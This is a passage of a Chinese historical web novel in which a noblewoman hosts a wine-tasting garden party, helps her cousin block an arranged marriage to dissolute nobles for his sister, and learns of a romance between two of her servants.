“此酒甚妙,有桂香,但却不止桂香。妙!太妙了!安乐,这酒你要给我多备一些,不仅要给母后送去,我自己也得留下几坛子才成。” 许昭昭浅笑:“公主勿怪,此酒的确是香气扑鼻,且久久不散。只是此酒如今出窖不多,满打满算才得了二十坛子,今日游园会我先拿出来两坛给诸位品尝,余下的十八坛里,我给家中留了八坛,如今只余下十坛。” “十坛也可以,都给我装到车上去。” “那可不行!”乐阳郡主直接抢话道:“我也得要呢!昭昭,你先前可答应我的,不许说话不算话。” “答应过郡主的,自然要算话。这样吧,一会儿给你装上两坛,公主的车驾上装六坛,余下两坛,我还要皇上那里送去。公主若是回宫早,可以去御前讨酒喝。” 宁朔公主不满意:“你怎么自家就留下了八坛?你们家才几口人,哪里用得到这么多?” 许昭昭瞪大眼睛:“就这八坛我还嫌少了。我外祖母那里总要送上两坛吧?我亲祖母的孝敬我也不能少了,还我母亲、婶婶、二位嫂嫂,这都不够分的。” 乐阳郡主吃瘪,要是这么一算,好像真不够。 不过乐阳郡主还是了解许昭昭的。 “你跟我说实话,余下的酒要何时才能启封?” “约莫再等上半个月就可以装坛了。再出来的几大瓮,少说也能装出七八十坛子来,到时候我再给你们送便是。” 乐阳郡主大手一挥:“何需你送?我这让先付了定金,回头让人直接送到我府上去。我先定五十坛子再说。” 话音未落,便引来嘘声一片。 更有姜愿撅着嘴道:“你怎得如此霸道?总共才七八十坛呢,你自己便要去五十坛,那我们怎么办?” “就是就是,郡主也太过分了!” “郡主也吃不了这么多酒,我看您最多定上十坛也便罢了。” 一时间,大家伙激动得都快要吵起来了。 许昭昭抬手示意大家先别急。 “今日是游园会,怎么诸位姐妹们都只想着要买酒了?难不成我许昭昭就是为了诓你们过来买酒的不成?我许昭昭虽说现在缺钱建设我那封地,但也不至于如此!” 话落,大家伙面面相觑,一时间也不知道许昭昭这是何意了。 “今日请大家过来,除了游园之外,便是先其它人一步品尝新酿,若是觉得哪里不好,给我们提个意见,好改进。若是觉得好,等秋时我再请大家过来品尝新酿,如何?” 第226章 兄妹的认知 大家自然都纷纷叫好,毕竟是许昭昭请客,无论是园子还是果酒都是许昭昭提供的,大家自然是乐意之极。 “至于说日后再出的月桂香,大家不必着急,早晚会在市面儿上看到。而且今日来的诸位都是我许昭昭的朋友,待这月桂香酿成出窖,我每家每户都送上一坛子。” “昭昭妹妹果然大气!还是我们武将之家出身的女儿大方,好!” 许昭昭这里将买酒之事就此压下,之后大家尝了两道新菜之后,又被人呈上另一种新酒。 这酒一倒出来,便香气扑鼻,整个园子几乎都是酒香四溢,连见惯了好东西的宁朔公主也不免惊叹。 “大家再尝尝这个,亦是新酒。若是大家觉得尚能入口,待回头出酒时,连同月桂香,一并送至诸位的府上。” 许昭昭这次邀请了二十多位姑娘,有的是姐妹几人一起来的,饶是如此,也得有小二十个府邸了。 一出手就是这么多的十千酒,可见许昭昭的确不是那等小气抠门之辈。 宁朔公主好歹先压下了心头的悸动,乐阳郡主则是忍不住了。 “昭昭,这酒好香!且比刚刚的月桂香还要胜上几筹,最重要的是,香而不腻,且经久不散。此为何酒?” “说来惭愧,我初尝此酒时,亦觉得格外香甜可口,一时间竟是觉得此酒乃是我饮用过的最佳果酿,故而一时兴起,便取了一个倾城醉的名字,只是过后又觉得不妥,今日宴请诸位朋友们过来,也是想听听大家的意见,取个何名既雅,又不至于那般轻狂。” 孰料,宁朔公主喝了一口之后,竟是连连大笑:“此酒甚妙!这酒的名字也是格外贴切。倾城醉!好名字。” 其它人浅酌之后,也觉得这酒的香气,比先前月桂香还要更为霸气,但是入喉之后,又变得柔和婉转起来,宛若是舞娘在那舞台中央舞蹈一般,取名倾城醉,的确是贴切。 宁朔公主都赞同了,其它人自然更没有意见。 主要是此酒的确味道好、口感好,用许昭昭的话说,便是此酒入口之后,层次感丰富,且一口入喉,许久都是唇齿留香。 有些已经成了婚的女子则是低眉深思,若是自己饮用两杯此酒,再与夫君耳厮鬢缠之时,该是何等的愉悦? 定然能将夫君给迷得神魂颠倒。 果然,倾城醉,这名字极佳! “诸位今日未能尽兴,皆为昭昭之过。半个月后,这两种酒当会出窖,届时,我便命人挨家挨户送上门去,倾城醉、月桂香,各一坛,还望诸位莫要嫌弃才好。” “昭昭妹妹这话说得太过谦虚了。此等佳酿,我等怕是要谢你还来不及,怎会嫌弃上?说好了,待到九月之时,你再办赏菊赏什么的,可定要给我们姐几个下贴子,若是届时你真不送贴子过来,我们几个厚着脸皮也是要过来蹭吃蹭喝的。” “就是就是,昭昭姐姐,我与谢家也是沾亲带故的,你届时可不能忘了我,若不然,等你与三郎成亲时,看我怎么去给你捣乱!” 一个约莫十三四岁的娇俏姑娘话落,引得哄笑声一片。 好么! 为了一口酒,也是拼了,连这种话都能说得出口了。 许昭昭无奈:“诸位莫要心急,到时定会给诸位下贴子,只是别嫌我这里太过简陋才是。” 美景美酒,诸位女眷们也都是心满意足地归家了。 许婉婉和许婷婷姐妹二人全程也都在帮着接、送客人,中间还会帮着一起待客。 隔了房的庶女,能被许昭昭这般带着与贵女们结交,可见许侯府内的确是家族和睦,侯府的两位夫人也的确是大度贤慧之辈。 陈湘湘今日也算是开了眼界。 她其实一直都是晕乎乎的,到最后归家,仍然没看明白许昭昭这一个游园会的目的到底是什么。 如果说只是为了卖酒,那根本就不必多此一举。 因为谁不知道百果园的佳酿有名? 而且每每新酒上市,都会被哄抢一空。 所以,陈湘湘回去后,见到哥哥陈琮,便将自己心头的疑惑问出来了。 陈琮也没想到许昭昭的游园会竟是如此精彩。 “那园内的景色如何?” “甚好!哥哥也别觉得是妹妹见识浅薄,反正自小到大,我是从未见过如此精美的园子。三步一景五步一台,那都不足以表达我对园子的喜爱。花鸟相和,总让人觉得那里好似是一处世外桃源一般,着实令人着迷。 我也是今日去了那里之后,才知为何昭昭姐姐喜爱去住到庄子上,而且家里头几位表哥表嫂也都爱去那里住。若换了我,我也会想着天天往那边跑。” 陈琮点头:“看来,你对许昭昭的评价很高呀!” 陈湘湘瞪眼:“兄长又在胡说了!我哪里敢去评价表姐?那般的精致人物,无论是权势地位,还是气质见识,都不是我能及的。我与她在一起,总有一种在仰望星空之感。” 陈琮见此,微微点头,妹妹对她的评价如此之高,可见这个许昭昭近几年的变化是巨大的。 “你既然如此说,那以后便多和她来往,多学一些东西。正好父亲已经派了管家先一步到京城来,届时可能也要置办一些产业,届时你多问问,若有不懂之处,可去找你表姐讨教。”尛說Φ紋網 陈湘湘却是连连摇头:“我不行的!这种事情,我如何能做得来?兄长还是不要为难我了。” 陈琮轻笑:“你刚刚还说羡慕昭昭呢。她能做得,你为何做不得?昭昭能将一个几乎是破败的庄子经营至现在这般模样,那必然是有几分手段的。你日后也要嫁人的,难不成日后你的嫁妆一概不管,全都扔给下人?真不怕他们欺上瞒下,再坑主子?” 陈湘湘脸一红,扭头便跑:“不理你了!” 陈琮知道妹妹这是害羞了,轻叹一声后,又微微蹙眉。 姑祖母这里存的什么心思,陈琮当然知道,可他不愿意让妹妹成为家族的牺牲品,陈家想要兴盛,为何要靠女人? 第227章 饮宴 陈琮自以为读书多年,总能为大兴为陈家做些什么。 而陈家这些年来一直都特意远了与许侯府的来往,其实也是担心许家人再觉得是陈家想要借此攀附。 陈家不愿意让许家人觉得他们是甩不脱的累赘,故而一直都严格管束家族子弟,除了正常的节礼往来,寻常之时并不与许侯府有所依附。 陈琮来京之前,也设想过很多种可能性。 比如说那位表叔母会不会觉得他们陈家是来讨好处的? 再比如说,许家的这些姐妹兄弟们,会不会对他们兄妹避之不及? 好在,他预料的那些最坏的可能性都没有出现。 许侯府待他们兄妹很好。 不仅礼数周到,而且言词之间也从未有任何疏离轻视之意。 这般如此,才是真正愿意与陈家来往的亲戚。 倒是那位表姑,言谈间看似亲昵,可是实际上却全是空话,而且话里话外,都透着几分想要利用他们两兄妹为孙家谋好处罢了。 真以为他们年轻,所以就什么都不懂吗? 陈琮这些日子也将孙府与侯府的一些恩怨弄清楚了。 至于孙茜被毁容的真相,他虽然没有查到,但是总觉得这里面透着几分古怪,而且孙茜以前做的一些事,明摆着就是在利用许昭昭,而且分明就是在欺负人。 陈琮现在只想和侯府维系好关系,但不代表了,他就要对所有人都低声下气。 尤其是许琳! 陈湘湘也算是在京城的贵女圈子前亮了个相。 毕竟,她也算是真地见识过公主之尊的姑娘了。 陈琮对许昭昭其实是有几分感激的。 毕竟从妹妹说的那些来看,许昭昭是真心将她介绍给了诸多贵女们,甚至还特意在乐阳郡主跟前提了一句,由此可见,许昭昭并没有因为陈家如今式微,便轻视陈湘湘。 想想也是,连许家二房的两位庶女都能被许昭昭带在身边待客,足见许家并没有那么多的龌龊事。 嫡庶和谐,最能看出一个府邸是否真的和气。 陈琮今日准备出门,但是刚刚穿戴好,就有下人过来通禀,说是紫园派了一位姑娘过来传话。 “原来是丁香姑娘,有劳了。” “婢子不敢。奴婢是奉小姐之命过来传话,公子下次休沐时,请尽早回府,三公子和四公子请了京中不少的学子名士前来饮宴,这宴席是由世子夫人筹备的,小姐还特意备了状元酒。届时前任状元郎也会到席,还请公子多备几份自己的得意文章,好请这位状元郎指点一二。” 陈琮眼睛一亮:“还请姑娘回去后代我向昭昭妹妹道谢。” “公子客气了。奴婢告退。” 陈琮立刻派身边的小厮去打听,一直到晚上,小厮才到书院。 “禀公子,听闻起初是世子爷的意思,后来又被二小姐提醒,不如干脆借此机会大办一场,正好三公子是文官,四公子和您都在读书,届时世子爷避出去,只有一些年轻人一起吃吃喝喝,也不会被人说闲话。 世子夫人主动提出来张罗宴席一事,二小姐便提出来让香飘飘那边送些现成的吃食过来,之后再备上状元酒和月桂香,如此一来,酒菜齐备,府中也无需多费心力,不会影响到内宅那边。” “所以此事,他们并未请示老夫人?” “回禀公子,小的打听到侯府真正主事的就是夫人。而且如今是世子夫人掌着膳房这边,二少夫人也帮着处理一些事务。似这等小事,侯夫人那里只需要安排后禀报一声便好,压根儿不需要老夫人点头。” 陈琮点头:“如此我便明白了。看来,这场宴席,也算是特意为了我和四表哥备的。这份人情,我们陈家得记着。” 小厮也明白了,人家侯府的身份地位,何时办宴席都正常,而这一次又特意只请了年轻的状元郎和一些才子,摆明了就是在为四公子和陈琮考虑。 毕竟,许君霆现在真不需要这些了。 许君霆现在都是有爵位的人了,而且还简在帝心,那可是京中不少青年才俊们巴结的对象。 如今人家亲自设宴,自然能引来不少的学子。 再加上有百果园出的佳酿这个噱头在,自然只会引得无数人向往。 等到陈琮回来那日,侯府的仆从都已经在大门处候着。 “表公子快快去换身衣衫吧,原本三公子只打算宴请二十余人的,结果听闻今日有状元酒,又来了十余位贵公子,人人都出身显赫,这其中还有镇国公府的张世子,也就是咱们世子夫人的嫡亲兄长也来了。 幸好二小姐备的美酒足够多,刚刚又差人去香飘飘那边吩咐再多送几样子小食过来。今日定当让诸位公子们尽兴。” 陈琮点头,听话听音,很明显,许昭昭对此是早有准备,否则怎么可能会真地就有这么多的酒水备着? 要知道百果园出的佳酿,哪回不是刚拉到酒肆就会被人争抢? 一想到今日宴席,饮的便是十千酒中最贵的状元酒,陈琮这心底里便百般感激。 侯府做的已经足够多了。 经过今日一宴,也算是将陈琮介绍给了贵中勋贵子弟,而且还是这些人上赶着凑上来的,人家许君霆一开始可没请他们。 对于这个结果,陈琮总觉得分明就是在许昭昭意料之中的事。 有好酒引着,那些个官二代勋二代们,岂能不馋? 陈琮的预感没错,就是许昭昭和许君霆商议之后故意的。 而且这些年轻的公子哥儿们也都和侯府的关系不错,主要是他们的长辈和侯爷关系好,要不然,怎么可能会直接上门来? 陈琮这日也饮多了,再醒过来的时候,都已掌灯了。仦說Ф忟網 “我这是睡了多久?” 小厮上前,扶着他坐起来,又连忙递上一碗还温热的醒酒汤。 “您睡了快两个时辰了。小姐刚才来过,见您还睡着,便不曾打扰。这醒酒汤是二小姐吩咐人送过来的,说是寻思着您快醒了。” 陈琮轻笑,小姑娘还真是料事如神。 “禀公子,二小姐还特意让人留了话,说是明日一早,有事与您商议,事关咱们陈府小姐。” 第228章 许配给有权势的浪荡子 陈琮一直都知道许昭昭很聪明,也知道老夫人在为陈家筹谋。 只是,老夫人想的,是借着联姻的机会,将陈湘湘高嫁的同时,再拉一把许琳。 都是自家亲戚,互相帮衬,陈琮不觉得排斥,但是他不愿意利用妹妹。 女子姻缘,事关其一生之荣喜,怎能只是因为想要攀附权贵,便不考虑女儿家的后半生? 陈琮被请至紫园,为了避嫌,还有许君清也在。 “二位兄长请坐。” 六角亭内,三人围着石桌坐下,丁香和芍药奉上陶炉茶罐,许昭昭便开始煮水烹茶。 “陈表兄,贸然请你过来一叙,还请勿怪。” “怎会!我知妹妹定然是有要事与我说,也是我不胜酒力,昨日实在是醉得很了,还未谢过妹妹让人送去的醒酒汤呢。” “都是自家人,表哥客气了。” 许君清笑道:“既是自家人,那便无需这般疏离,昭昭可是有什么要紧事要说?” “陈表兄先看看这个吧。” 许昭昭抬眼示意,丁香将一沓子纸张送上,许君清一偏头,也能看到。 陈琮看完之后,脸色微冷:“昭昭妹妹这是何意?” 许昭昭往茶壶里添茶,今日只为他们煮清茶。 “这些都是祖母差人去打听过的,祖母是何用意,想必陈表兄应该也能猜到的。” 陈琮脸色微变:“不可能!我妹妹是陈家嫡女,怎可配与这等浪荡子为妻?” 许君清皱眉,见二人没有避讳,他也干脆地拿过来粗粗看过。 “昭昭,这其中是否有什么误会?这几人可都是京城出了名的纨绔子,不说是恶事作尽,那也绝非良人。祖母怎会为湘湘表妹选这样的郎君为夫?” “四哥,你只看到了他们人品不堪,却未曾关注其家世。祖母有意让湘湘表妹高嫁,可是以陈家如今的家世地位,若崔家郎君这般的人物,怎么可能会答应让湘湘表妹为正妻?” 二人脸色不佳。 许昭昭又道:“湘湘表妹为嫡女,自然不可能嫁人为妾。所以,祖母才会挑选了这些在京城贵女圈子里人人厌弃的浪荡子。说句不好听的,这些人家世显赫,且其中有人日后还可袭爵,家中乏良田商铺,日后表妹嫁过去,不说挥金如土,也差不多了。” 许昭昭这番话,其实就是在告诉陈琮,老夫人就是看中这些人的家世,日后若是陈表兄入朝为官,也有人能为其铺路。 陈琮一拍桌子:“这门婚事,我不会答应的。” 许昭昭轻笑:“我知表兄定然不会答应,说明我没有看错人。只是祖母做了决定,我等皆为小辈,我们的婚事,怎可自己做主?” 这是实话。 陈琮一时间有些犹豫不定。 “祖母若是在其中择好了人选,定然会给表舅爷去信。若是陈家长辈点头了,这婚事应该就没有转还之余地了。” 陈琮眼神微闪,立马明白了她今日将自己请过来的目的。 “多谢昭昭妹妹,我欠妹妹一个人情。” 陈琮起身,正经地朝她作了一揖。 许昭昭微微侧身,但仍然坐着,算是受了半礼。 “陈表哥,京中权贵多如牛毛,有些不挑家世的好儿郎,兴许早已定下妻室,但也不代表了咱们就只能选这样的浪荡子为依靠。远的不说,只说昨日你们见过的那位付状元,他便是可以依托之人。” 许君清眼睛一亮:“对呀。听闻这位付状元还深得帝心,虽是出身寒门,但学问扎实,又得帝心,日后飞黄腾达,自然不在话下。最要紧的是,此人人品无瑕,又得京中学子们推祟,是个好夫婿的人选。” 陈琮也的确是心动了。 不过,一切都得等家中长辈来京后再说。 “此事不能急,不过,昭昭妹妹可有法子,让老夫人先断了这份心思?” “祖母的性子向来要强,莫说是咱们了,便是我父亲偶尔不听她的,祖母都能指着父亲的鼻子骂。就凭咱们几个,只怕悬。” 又是一句实话。 听着实在是有些无奈。 陈琮一脸自责,若非是自己无用,又何需让人将主意打到妹妹身上? 可是这种事情,他又不好全都怪罪到姑祖母头上,毕竟人家的出发点也是好的。 况且,那是长辈,再怎么着,他也不能真冲上去质疑。 许昭昭见他二人面色沉重,便递给二人各一杯茶。 “船到桥头自然直,二位兄长也先别着急。至于祖母那里,不如表兄去我母亲那里求一求,若是她愿意为陈表妹出头,哪怕是哄老夫人一场,至少咱们能撑到表叔进京。你说呢?” 陈琮思来想去,好像也只有如此了。 王若兰其实昨天就和许昭昭商量过了。 不管怎么说,这个陈湘湘也是侯府的亲戚,真要是嫁给那等京中恶霸为妻,日后不知道多少事情,都得要来找侯府扫尾。 就老夫人那性子,就算是这媒是她做的,也不会出面解决的。 到最后,辛苦一场的还得是王若兰,兴许还不落好。 倒不如干脆就把这婚事给挡了,日后待陈家人抵京,由着他们自己做主才好。 陈琮一进去,直接就跪下了,可把王若兰吓得不轻。 “这是做什么,快起来说话。” “还请婶婶为我做主!” 最终,王若兰应下,但是如何向老夫人开这个口,她得好好斟酌。 正好刚刚李氏也在,如今陈琮退去,妯娌二人不免对老夫人又生出几分埋怨来。小說中文網 “老夫人这到底是怎么想的?湘湘这姑娘不错,我瞧着知礼懂事的,而且年纪也还小,怎么就急着现在定亲了?” 李氏冷笑:“这些日子许琳几乎是日日来,上回我还瞧见她手里头拿着几幅画像,若说这里面没有她的手笔,我可不信。” 王若兰也听说过此事,不过没想到弟妹竟然亲自碰上过。 “这个许琳,当真是日子过得太安逸了,什么没脑子的法子都敢想出来。” “大嫂,现在就怕老夫人再把这个打算给陈家那边的长辈说了,以许琳和老夫人的性子,定然只会在信上说好话,哪里会提他们的品行?” 第229章 看中她的丁香了? 王若兰只觉得心思。 一把年纪了,安生过日子不好吗? “我看百果园那里的景致不错,而且如今又是风和日丽的,不如将老夫人送去百果园住些日子?” 李氏帮着出主意。 王若兰倒是觉得可行,但又有几分担忧。 “若是许琳也跟过去呢?” “那就想法子让她去不了呗!” 王若兰挑眉,看来弟妹这是有法子了。 其实李氏用的法子也很老套,无非就是给孙家老夫人些好处,然后让她装病,这样便可将许琳拘在家中了。 若是侯府老夫人还住在府里,那许琳抽空也仍然能过来说话。 但是老夫人若出了城,许琳可就没有这个功夫了。 王若兰点头赞道:“还是弟妹脑子转得快!就依你的。” 妯娌二人说动就动,说服老夫人去百果园,那是再简单不过的事。 因为老夫人早就想去了,只是因为一直在扩建、修屋子,所以没去成。 而且老夫人这人好面子,总觉得自己主动提出来,就先矮了三分,该着让小辈们主动请她过去小住才是正理儿。 如今王若兰一开口,老夫人自然就答应了。 王若兰离不得侯府,所以就让李氏和二房的两个庶小姐都陪着一起去百果园小住了。 许昭昭这个正经的主人没去,是因为乐阳郡主还邀她一起议事呢,且柱子回来了,还有一些茶叶生意要怎么开展等等,她这个主事人总不能躲懒去。 百果园里栽有茉莉花,如今柱子弄回来的茶叶不少,所以许昭昭又安排人去做茉莉花茶了。 届时女子喝着这香甜可口的花茶,哪里还喝得惯那等在里面加花椒、羊油等物的茶水? 除此之外,去年许昭昭就安排人做了一款桂花红茶,只是一直只在小范围内饮用,市面儿上没有。 这其实就是许昭昭故意的。 只要她想,自然是能做出来更多的桂花红茶,但是她偏要如此吊着这些有钱人,就是因为物以稀为贵! 其实桂花红茶,市面儿上早就有,但是达到许昭昭手中这款茶这个品级的,那还真没有。 而且这花香气也不够浓郁,别说是喝了,闻都闻不出什么桂花香来,不过就是取个噱头好赚钱罢了。 这等茶,坊间喝的人不多,一是因为郎君们基本不喝,而女子们要么是因为买过一次,觉得上当后便不再愿意为之付钱,要么就是觉得太过花哨,不如按传统的吃法更好。 总之,就是没能卖得特别贵。 如今许昭昭手里有极品的桂花红茶,那可是贵女圈子里不少人都知道的。 因为是花茶,所以郎君们都不屑一顾,总觉得男子喝这种茶,那是失了男子气概。 而女子饮用此茶者,大多数也只是在许昭昭和乐阳郡主那里尝到过。 说到底,还是未曾真地宣扬出去。 许昭昭是个有成算的,好东西,自然是要分享出去,但不能白分享。 所以,最终的目的,还得是为了赚钱。 但是这钱要怎么赚,而且还能赚得不会让人觉得太夸张,至少得让人知道这茶制作不易,否则,别人只会以为她一本万利,少不得要在朝堂上参侯府一本的。 柱子这次带回来的茶叶的确不少,他不懂茶,但是他结交的南诏人里头有懂茶的,再许以利,柱子便跟着一起四处看茶、品茶,也就学到了不少东西。wWW.xszWω㈧.йêt “小的见过主子。” 许昭昭将人叫起:“这阵子辛苦你了。” “为主子办事,小的不辛苦。” 柱子说完,便将两本账册奉上。 一本是药材册子,一本是茶叶册子。 “按您的吩咐,这茶叶的事儿,小的一直都不曾让乐阳郡主那边的人掺和。而且小的也知道齐王府也买了不少茶叶。不过,他们一路走一路卖,如今剩得也不多了,估计就是供主子们饮用。” “嗯,你做得很好。这次的事情,你记头功!” “谢主子。” “这次回来,就先好好歇歇,正好你娘想着给你说门亲事呢,你回头好好收拾一下,也赶紧定下婚事,免得你娘再惦记。” 柱子脸一红:“主子,小的不想相亲。” 许昭昭瞪他:“这是什么话?” “小的才多大呀,四公子都还没成亲呢,小的不急,再等两年吧。” 许昭昭这才正眼看他,见他有意无意地往自己左边儿瞟,心里当下就明白了。 “行吧,你自己的事,自己做主。不过也别惹你娘生气。” “是,小的谢主子。” “账册留在这里,我慢慢看,你先下去休息吧。在家好好歇两天,回头我再让你找你过来。” “是,小的告退。” 一个时辰之后,许昭昭将账册放在桌上,眉眼间俱是喜色。 这个柱子,的确是个会办事的。 不仅带了账册过来,还将各种茶叶都带了样品进来,且标明了什么茶,什么地儿出的。 许昭昭一一看过之后,觉得跟自己印象中应该是大差不差,说明他是真用心办事了。 “丁香,一会儿你带人去一趟柱子家,给他送份儿赏。” “是。不知小姐想要赏些什么?” “赏十贯钱、五匹细棉布、两只香囊,再赏一对儿银镯子、小珍珠赏上半斛、金戒指赏两枚。” “是,小姐真是大方。” 许昭昭逗她:“他细心为我做事,自然得好好赏。你们平时跟在我身边,赏你们的东西还少了?” 丁香笑着说主子仁厚,便退下去准备了。 许昭昭则是神神秘秘地将芍药叫过来。 “柱子和你丁香姐有意思?” 芍药捂嘴笑:“小姐,您这话问的,奴婢可真不知道。不过柱子每回在府里,总想着给丁香姐送好吃的好喝的,都在小姐跟前儿服侍,便不曾给过我一回!” 许昭昭恍然大悟,敢情是真地相中她身边的大丫环了? 那可不成! 至少现在不成。 丁香可是自己身边顶顶得力之人,哪能这般轻易得就嫁出去? 怎么着也得晚两年再说。 “那你丁香姐是什么意思?可收了人家的东西?又是否给备了回礼?” 芍药低笑道:“回没回礼奴婢不知道,但是柱子脚上穿的那双鞋,还是丁香姐姐去年做的。” 第230章 表明心意 许昭昭有些舍不得:“这是两人都互相看对眼了呢。这么说,我一会儿差丁香过去送赏,倒是安排对了。不过柱子娘知道不?” “这个不好说。但是丁香姐姐说,主子这里一日不松口,她便不能应柱子任何话。这事儿还是奴婢偷听到的。不过柱子倒是个有骨气的,非说日后要在主子跟前露脸,要做个大管事,然后将丁香姐姐娶回去做个管事娘子。” 许昭昭扑哧一声便笑了。 柱子也算是有志向了。 大管事? 许昭昭心道,她的商业帝国一旦建立起来,莫说是一个大管事了,就是一个寻常的小管事,都能让他日子过得富足三代! 所以,她就拭目以待,看看这个柱子究竟能不能做成她手里的大管事! 梦想总是要有的,万一哪天就实现了呢? 许昭昭盘算着自己现在手里头的人,如今正值壮年且可用的,便是高大魁、徐得贵,还有刚刚收的那个严树和李生。 至于侯府这边的忠叔,那是铁定不可能跟着自己走的。 日后自己出嫁,能带走的,估计也就是这些人了。 年轻一代里,柱子算是打头的,另外还有长生和高守信,都值得培养。 最主要是可信! 她用人,要的先是忠诚,其次才是能力。 许昭昭想的很简单,也很清楚,她如今不缺钱不缺权,所以进度快慢,于她而言并没有太大区别。 所以,得先保证不能有人背叛自己才是真的。 上辈子,自己不就是被人算计过无数次嘛! 这一回,说什么也得小心加小心,无论如何,不能再让任何人知道她的底牌。 许家人不行,谢铮也不行! 许昭昭暗自盘算着自己手里头到底有多少得用之人,有多少是能办事的,又有哪几个是能管人的,总之,得让他们各司其职,施展长处才好。 再说丁香带着这些赏赐到了下人院这边。 因为柱子在小姐跟前得用,如今也算个小管事,所以下人院这边,他们一家子是有一处单独的小院儿。 虽然院子不大,只得三间正房和东西两侧的厢房,但是能有独立的住处,已然不知道被仆从们羡慕成什么样了。 柱子刚回来给二老磕了头,正说着话呢,丁香就带人过来了。 “哟,丁香姐姐,这是主子又有什么吩咐?” 丁香进屋,身后跟着的一众仆妇们也都将东西送进去。尛說Φ紋網 “这些都是小姐赏的,说你办事得力,做事妥贴,念着你这几个月辛劳,特赏下来十贯钱,还有一些首饰。另外,小姐说这两日应该不会再唤你回话,你可以去看看你姐姐。” “多谢小姐。还请丁香姐姐在主子面前能多为小的美言几句。” 丁香嗔他一眼,之后又打量了一下屋子,干净整洁,虽没有什么太华丽的饰品,但总归算是干净人家。 “差事办完了,我也该回去了。” 丁香说着话,便要往外走,却被柱子娘一把给拉住。 “哟,丁香姑娘难得来一趟,坐下吃盏茶吧。你在小姐跟前做事,身份可比我们贵重。这一路走来也辛苦了,快坐下歇歇。柱子,你也请底下的几位姨婶们吃盏茶。” 柱子一听就明白了,立马自袖袋中掏出一把铜钱来,往其中一个仆妇的手里一塞。 “几位婶子们吃茶用。我这里地方小,就不留您几位了。” 都是跑腿儿办差,能得好处,自然是个个眉开眼笑。 丁香这厢刚坐好,柱子又凑过去,示意他爹帮着去灶间给烧点儿热水,一会儿洗漱用。 他现在这幅样子,的确是有些埋汰。 “丁香姐姐,这是我从南诏那边带回来的饰品,你若是不嫌弃,就收着吧。” 丁香瞅一眼,是一支银簪,不过这花样子,倒是从未见过。 “你这憨货!既然是出去为主子办差,为何今日不见你对主子的心意?” 柱子立马行礼求饶:“自然是给主子也带了好东西的,只是那不一样,那花用的原本就都是主子的银钱。可这个是花的我自己的钱。” 丁香一听,明眸微转,柱子娘眼睛大亮,这还有什么不明白的? “你们先坐坐,我去看看老头子这水烧得怎么样了,做事笨手笨脚的,得有人看着才行。” 丁香脸红,起身有意离开,可是对上了柱子那热切又带有几分委屈的眼神,一时间竟挪不开脚,复又坐下了。 “丁香姐姐,我心悦姐姐,这话绝不只是说说而已。如今我为小姐办差,也算是能混得有些头脸了。我都想过了,日后再多用心看些书,好好练练字,定然不会委屈了你。” 丁香跟在许昭昭身边做事,自然是识文断字的。 这一点,阖府的丫环里头也挑不出几个来。 这也是为什么主子身边的大丫环身份就不一般。 丁香是打小儿就跟着主子的,识文断字不在话下,偶尔还能再画上几笔,这若是放到底下的村镇里头,便是配个秀才郎也是使得的。 所以,柱子才总觉得自己配不上丁香,怕委屈了心上人。 丁香垂着眼眸:“你我之事,我说过的,我做不得主,一切但凭主子安排。我自幼入府,夫人和小姐待我恩重如山,同样是做丫环,你看看我的手,再看看粗使丫环的手便都能明白。 而且小姐不止一次的跟我提过,日后若是我年纪到了,我相中哪个,便为我做主。只是总得等到小姐成亲生子后再说此事。你若是能等得,那便等,我也不会再有旁的心思。若是你觉得时间太久,着急传宗接代,便当我没说过这话吧。” 丁香这番话,其实就等于是表明了心意。 如今只看柱子是何态度了。 柱子也是个愣头青,脑子一热,竟扑通一声跪下:“丁香姐姐心中有我,我便知足了。此生我非丁香姐姐不娶。莫说是等上两三年,便是一辈子,也等得。” 丁香被他这作派给吓一跳,又羞又窘,拿帕子捂着脸,冲他一跺脚,便逃了。 柱子娘再进屋,就看到自己的儿子跪在那里傻乐。 第231章 猴子开始称霸王了 许昭昭很忙,而且近来要操心的事情实在是太多,所以对于丁香和柱子的事,也就暂时没有理会。 “小姐,表小姐来了。” “请她进来吧。” 陈湘湘不知道老夫人为她挑选未来夫婿的事,这几日在府里的日子过得还算是不错,主要是不必再日日去给老夫人请安,也不必总是应对那位表姑母了。 “昭昭姐姐,听说你打算去蓝田?” “嗯,的确是打算过去看看呢,自打那边给划了地之后,我一次也未曾去过。若离得远也就罢了,可是离京城不过几十里,总要过去看看才放心。” “姐姐好厉害,我听说你派了人过去建屋舍呢。一千户,如今都已经住满了吗?” “那怎么可能?如今应该加起来也不过三百户左右。你今日过来,就是特意问我蓝田县之事?” 陈湘湘一脸好奇:“我也想去看看,成吗?” “到时候再说,至于你能不能去,还是得问过你兄长才好。” 陈湘湘立马高兴得跳起来:“我哥一定同意的!” 许昭昭可没打算带她过去。 现在那边正在建设,她都不一定能过去,在那里做工的都是些汉子,除非是主宅已经建好,否则,侯府不会让她过去的。 不一定有多危险,只是单纯地考虑到名声罢了。 许昭昭没和她细说,陈湘湘坐了一会儿,注意到许昭昭在忙着看账册,又想到她名下的产业众多,且每一项都很赚钱,这心里头就颇为羡慕。 兄长说了,等父亲他们来了之后,也要交部分产业到自己手上,也得学着打理。 最起码,她该学会看账本了。 柱子带回来的红茶和白茶,基本上都是去年秋冬的茶叶,还有两款茶,是去年的春茶,现在弄来,其实就算是陈茶了。 真正懂行的人,一看一闻就能明白。 现在制茶的手段还较为粗陋,也没有那么多的科技与狠活儿,所以不管是怎么制出来的,都是确实的好东西。 许昭昭先用一些碎陈茶,让人去煮了茶叶蛋,然后再在砂锅里焖上一天一夜,加了各种调味料之后,这茶叶蛋的香气就出来了。 有了这等好法子,许君霆倒是觉得鸡蛋也不是那么难以下咽了。 侯爷和二公子出征了,京城的武将家中,有半数都跟着一起去了北地。 这一次,显然能看得出是圣上下了决心,势必要扫平北方。 先不说那些广袤的土地,只说是将突厥人再往草原深处驱赶上百里,那么,对于大兴而言,绝对是功在千秋的大事。 或许是因为许多武将出征,带走了一部分自家不听话的混小子,所以京城竟然也变得安宁起来。 说是安宁,其实也不过是一种错觉罢了。 没有了像是谢铮、崔玄明等这样的真正的勋贵二代们压镇,曾经一些只敢在私底下偷偷玩乐的纨绔小子们竟是渐渐地浮上水面。 这就颇有一种老虎不在,猴子称霸的荒唐感。 许昭昭带着陈湘湘到美人妆这里选一些得用的膏粉,同时美人妆这里还售卖一些精致的女子饰品,但大多都是小件儿,而且件件精巧且贵重,所以并不会与那些寻常的首饰铺子抢生意。 那一对耳坠子,就能要普通人家十年的口粮了,别说买,过来问价都觉得自己冒犯了。 这里是许昭昭的生意,陈湘湘看上什么,只要不是太过分的,许昭昭也都打着全送她的主意。 